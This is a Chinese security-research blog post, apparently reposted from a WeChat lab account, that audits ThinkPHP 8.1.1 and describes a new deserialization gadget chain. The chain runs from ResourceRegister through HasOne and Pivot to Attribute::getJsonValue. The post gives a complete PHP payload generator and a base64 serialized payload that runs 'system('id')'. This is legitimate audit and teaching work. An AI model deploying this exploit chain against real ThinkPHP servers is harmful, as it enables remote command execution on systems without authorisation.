『代码审计』ThinkPHP8.1的反序列化分析

admin 2025年1月15日18:50:59评论5 views字数 6405阅读21分21秒阅读模式

日期:2025年01月15日

作者:Obsidian

介绍:ThinkPHP8.1的反序列化分析。

0x01 前期准备

ThinkPHP20241127日发布了8.1.1版本,那么同样,本文将对新版本的代码进行审计,尝试发现不同的反序列化漏洞。

为了方便调试,本次分析将开启ThinkPHPdebug模式。

tp根目录下的.example.env文件重命名为.env,并将文件内容中的APP_DEBUG = false修改为APP_DEBUG = true,之后重启tp服务即可。

详细的环境的搭建与调试,请参考前篇ThinkPHP8.0的反序列化分析

『代码审计』ThinkPHP8.1的反序列化分析

0x02 漏洞分析及复现

在进行代码审计之前,已经对前篇文章中的payload进行了尝试,已经不可用了,所以这次尽可能的发现新的利用链。

那么书接上回,同样选择ResourceRegister作为反序列化的起点,简化代码如下:

<?phpnamespacethinkroute;classResourceRegister{protected$resource;protected function register(){$this->resource->parseGroupRule($this->resource->getRule());    }public function __destruct(){$this->register();    }}
前文中,我们找到同时存在parseGroupRulegetRule方法的可用类,那么本次去寻找存在可利用__call魔术方法的类。

『代码审计』ThinkPHP8.1的反序列化分析
最终的落点选择在/vendor/topthink/think-orm/src/model/Relation.php,简化代码如下:

<?phpnamespacethinkmodel;usethinkModel;abstractclassRelation{protected$query;public function __call($method$args){if($this->query) {$this->baseQuery();        }    }}
通过__call魔术方法触发了baseQuery()方法,但是在当前类中没有找到具体的代码实现,于是进行全局搜索。

『代码审计』ThinkPHP8.1的反序列化分析
Relation的下面存在多个类,这里随便选择一个/vendor/topthink/think-orm/src/model/relation/HasOne.php,简化代码如下:

protected function baseQuery(): void{if (isset($this->parent->{$this->localKey})) {            ......        }}
{$this->localKey}这种用法是PHP对字符串的高级定义用法,可参考PHP的官方文档:

https://www.php.net/manual/zh/language.types.string.php#language.types.string.parsing.advanced

利用这种用法,可以将$this->localKey作为字符串,进而触发__toString魔术方法,前提是$this->parent为一个正常类。

全局搜索相关方法:

『代码审计』ThinkPHP8.1的反序列化分析
又看到了前文中用到的Conversion类,这次同样选择它,但是走一条别的路线:

<?phpnamespacethinkmodelconcern;usethinkModel;traitConversion{protected$visible = [];public function __toString(){return$this->toJson();    }public function toJson(int$options = JSON_UNESCAPED_UNICODE): string{return json_encode($this->toArray(), $options);    }public function toArray(): array{$item $visible = [];foreach($this->visible as$key => $val) {if(is_string($val)) {                ......            } else {$visible[$key] = $val;            }        }$data array_merge($this->data, $this->relation);foreach($data as$key => $val) {if(isset($visible[$key])) {$item[$key] = $this->getAttr($key);            }        }    }
__toString触发toJson()方法,然后继续触发toArray()方法,对$this->visible进行了判断和操作,限制条件是数组的值不能是字符串,这里可以采用前文中的ConstStub类进行绕过。其中$this->data$this->relation均可控,继续跟进,发现触发了getAttr方法,搜索相关关键字:

『代码审计』ThinkPHP8.1的反序列化分析
唯一可用的就是/vendor/topthink/think-orm/src/model/concern/Attribute.php,简化代码如下:

<?phpnamespacethinkmodelconcern;usethinkModel;traitAttribute{private$data = [];protected$json = [];protected$jsonAssoc false;private$withAttr = [];public function getAttr($name){$relation false;$value    = $this->getData($name);return$this->getValue($name$value$relation);    }public function getData($name){if(array_key_exists($name$this->data)) {return$this->data[$fieldName];        }    }protected function getValue($name,$value,$relation){if(isset($this->withAttr[$name])) {if(in_array($name$this->json) && is_array($this->withAttr[$fieldName])) {$value $this->getJsonValue($name$value);            }         }     }protected function getJsonValue($name$value){foreach($this->withAttr[$nameas$key => $closure) {if($this->jsonAssoc) {$value[$key] = $closure($value[$key] ?? ''$value);            }        }    }}
前置触发的方法是getAttr($key),目前假设$key='a';,那么getData方法的参数是a,只要保证$this->data['a']存在,那么$value就是$this->data['a'],所以下一步触发方法是:$this->getValue('a', $this->data['a'], false);

下一步的判断是$this->withAttr['a']存在,并且为数组;$this->json数组中要存在a,即可触发下一步$this->getJsonValue('a',$this->data['a']);,至此所有条件是:

$this->data = ['a' => ''];$this->withAttr = ['a' => ['']];$this->json = ['a'];
getJsonValue方法对$this->withAttr['a']数组进行的foeach操作,当$this->jsonAssoc存在时,触发了$this->withAttr['a'][$key]($this->data['a'][$key], $this->data['a'])

这里用到的是PHP的可变函数,也就是$a($b),将$a变量的值作为函数名,$b变量的值作为函数参数,具体可参考PHP官方文档:

https://www.php.net/manual/zh/functions.variable-functions.php

于是,只要$this->withAttr['a'][$key]='system'同时$this->data['a'][$key]='id',即可完成命令执行,$key可以任意赋值。

根据前文,我们用Pivot类来替代Conversion类使用,完整调用链如下:

at ResourceRegister->__destruct() in Index.phpat ResourceRegister->register() in ResourceRegister.phpat Relation->__call() in ResourceRegister.phpat BelongsTo->baseQuery() in Relation.phpat Model->__toString() in BelongsTo.phpat Model->toJson() in Conversion.phpat Model->toArray() in Conversion.phpat Model->getAttr() in Conversion.phpat Model->getValue() in Attribute.phpat Model->getJsonValue() in Attribute.phpat $closure($value[$key],$valuein Attribute.php
最终的payload代码如下:

<?phpnamespace SymfonyComponentVarDumperCaster{classConstStub {public$value = 'a';    }}namespace thinkmodel{    use SymfonyComponentVarDumperCasterConstStub;classPivot{private$data;private$withAttr;protected$json;protected$jsonAssoc;protected$visible;public function __construct($obj='') {$this->visible=['a' => new ConstStub()];$this->data = ['a' => ['a'=>'id']];$this->withAttr = ['a' => ['a'=>'system']];$this->json = ['a'];$this->jsonAssoc = 'a';        }    }}namespace thinkmodelrelation{    use thinkmodelPivot;classHasOne{protected$query;protected$parent;protected$localKey;        function __construct(){$this->query='a';$this->parent=new Pivot();$this->localKey=new Pivot();        }    }}namespace thinkroute{    use thinkmodelrelationHasOne;classResourceRegister{protected$resource;public function __construct(){$this->resource = new HasOne();        }    }}namespace{    use thinkrouteResourceRegister;$payload = new ResourceRegister();    echo base64_encode(serialize($payload));}//TzoyODoidGhpbmtccm91dGVcUmVzb3VyY2VSZWdpc3RlciI6MTp7czoxMToiACoAcmVzb3VyY2UiO086Mjc6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEhhc09uZSI6Mzp7czo4OiIAKgBxdWVyeSI7czoxOiJhIjtzOjk6IgAqAHBhcmVudCI7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjU6e3M6MjM6IgB0aGlua1xtb2RlbFxQaXZvdABkYXRhIjthOjE6e3M6MToiYSI7YToxOntzOjE6ImEiO3M6MjoiaWQiO319czoyNzoiAHRoaW5rXG1vZGVsXFBpdm90AHdpdGhBdHRyIjthOjE6e3M6MToiYSI7YToxOntzOjE6ImEiO3M6Njoic3lzdGVtIjt9fXM6NzoiACoAanNvbiI7YToxOntpOjA7czoxOiJhIjt9czoxMjoiACoAanNvbkFzc29jIjtzOjE6ImEiO3M6MTA6IgAqAHZpc2libGUiO2E6MTp7czoxOiJhIjtPOjQ0OiJTeW1mb255XENvbXBvbmVudFxWYXJEdW1wZXJcQ2FzdGVyXENvbnN0U3R1YiI6MTp7czo1OiJ2YWx1ZSI7czoxOiJhIjt9fX1zOjExOiIAKgBsb2NhbEtleSI7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjU6e3M6MjM6IgB0aGlua1xtb2RlbFxQaXZvdABkYXRhIjthOjE6e3M6MToiYSI7YToxOntzOjE6ImEiO3M6MjoiaWQiO319czoyNzoiAHRoaW5rXG1vZGVsXFBpdm90AHdpdGhBdHRyIjthOjE6e3M6MToiYSI7YToxOntzOjE6ImEiO3M6Njoic3lzdGVtIjt9fXM6NzoiACoAanNvbiI7YToxOntpOjA7czoxOiJhIjt9czoxMjoiACoAanNvbkFzc29jIjtzOjE6ImEiO3M6MTA6IgAqAHZpc2libGUiO2E6MTp7czoxOiJhIjtPOjQ0OiJTeW1mb255XENvbXBvbmVudFxWYXJEdW1wZXJcQ2FzdGVyXENvbnN0U3R1YiI6MTp7czo1OiJ2YWx1ZSI7czoxOiJhIjt9fX19fQ==
成功执行命令:

『代码审计』ThinkPHP8.1的反序列化分析

0x03 总结

后续查阅相关资料时发现,本次发现的利用链后半段,与ThinkPHP6的反序列化利用链相似。后续会尝试继续发现新的可利用链,以此来学习整体的反序列化审计思路。

『代码审计』ThinkPHP8.1的反序列化分析
 

原文始发于微信公众号(宸极实验室):『代码审计』ThinkPHP8.1的反序列化分析

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月15日18:50:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『代码审计』ThinkPHP8.1的反序列化分析http://cn-sec.com/archives/3632879.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息